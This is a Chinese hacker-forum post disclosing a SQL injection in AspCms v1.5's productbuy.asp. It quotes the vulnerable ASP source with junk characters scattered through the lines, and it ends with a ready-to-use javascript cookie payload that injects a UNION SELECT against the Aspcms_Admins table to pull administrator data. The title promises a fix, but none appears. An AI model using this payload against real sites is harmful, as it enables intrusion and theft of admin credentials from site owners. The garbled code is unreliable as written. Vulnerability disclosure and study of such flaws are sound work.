AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
( n- z4 ?7 Z9 }) `4 Z4 N废话不多说，看代码：
" i% Z% u0 L$ k8 N6 V
) M3 }6 z" i; O7 s<%
( ]) j) b+ D: z4 c: z
if action = "buy" then
7 \3 R2 X7 a5 o
0 R4 z6 Q' s; r( |9 v        addOrder()

else
( X7 R3 i+ B6 F# `
        echoContent()
6 U( A% R) q2 a7 f0 G! P4 A
end if


$ X  j% F! [. ^! b7 S
( t' G6 `9 |- |( S  b, y……略过


1 Q: A. I( I9 S+ A% d0 B
6 J5 R7 A6 ~' WSub echoContent()
  s- f' R: E0 \+ E2 _4 }
        dim id
6 s. W0 D; k3 d
: \/ T8 ^" ~0 Q1 _        id=getForm("id","get")

" S* q( ~' z2 ]1 q        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

: f7 |5 P$ q7 H2 i2 y2 P. _        
& m$ A9 s$ y, v5 h# I+ K9 T/ a
1 g$ W4 ~% P# l$ S3 Y, {        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
/ K* G8 ?' }% q- l# m2 L
6 e9 r1 U2 a3 n; K/ j* L0 ^        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
' n3 b5 H# n% q. K( o0 R
. U4 N: ~8 O! I( g        Dim templatePath,tempStr

9 V% k: r/ d( N        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' X2 ?) g! [; j
3 F7 f5 I8 z* Q0 x& `

! G+ Y. `) v9 W; c( k0 f        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
& |5 l' W) L) i3 M1 J& }8 m
5 w  I0 ~3 U7 [+ f0 k' ]( q/ F, D        selectproduct=rsObj(0)
3 @9 X% `' q/ g0 |9 d" J7 {3 V
* p% [9 n3 c4 F$ O8 F" F        
3 f1 f: q; R& l
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
1 a3 L8 i- h6 v9 V
0 ?1 T6 H$ E8 A7 E        if rCookie("loginstatus")=1 then  

  L) h+ A) ^; K5 r! F* k7 A( _                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
. f  n) T' B" V4 N, X! W3 r
                linkman=rsObj("truename")
2 c, C& f, g4 G2 f- S& H/ M/ c
% s9 g% r3 i5 @7 l( o# U% Y                gender=rsObj("gender")

                phone=rsObj("phone")
- r  \, E  n: J3 T+ ]6 r3 P
                mobile=rsObj("mobile")
' z# i+ W" h" M. i* c# E& h0 c( W
( D9 y; e$ M: X- B" r                email=rsObj("email")
0 X+ p" L1 _" j
                qq=rsObj("qq")

                address=rsObj("address")

                postcode=rsObj("postcode")
; d! W% t/ G* H7 ^1 q
: \2 L# k9 K2 _        else

+ t: a; |: C7 x; I' }) S                gender=1
3 R4 [4 _( J" P$ k! @+ q; l5 }" b
        end if

        rsObj.close()

               
# E) b# U/ [  C- o" l
        with templateObj

                .content=loadFile(templatePath)        
' }, O2 S8 B+ v
                .parseHtml()

2 B  W+ ~, a$ U1 k0 M# h                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
4 f' B" m3 K# `+ @( d9 I
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
2 D3 p, J5 D' l" Z/ j
' h, G# T6 l& |3 K# _3 R$ d                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
6 E& ^+ Z% p, q$ d
                .content=replaceStr(.content,"[aspcms:email]",email)                        
' P7 n7 w! {! n( h, J& }- F
. k9 E0 q9 H; N                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
  X6 X6 z! h) {+ Z' B' K1 s
5 L7 r; Y8 J) V: W1 ?0 P                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

! s! h/ w) O% c6 p# e* v: F- u                .parseCommon()                 

                echo .content

        end with
& C( W6 T5 v5 F3 ?. G8 j2 T- c
        set templateobj =nothing : terminateAllObjects

End Sub
& w% B4 g/ m. r9 e8 z+ Y漏洞很明显，没啥好说的
7 |( ~; y9 _1 B( Y- `0 C, p$ ypoc：
; x" e- P+ _0 H) c" @+ G  a
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​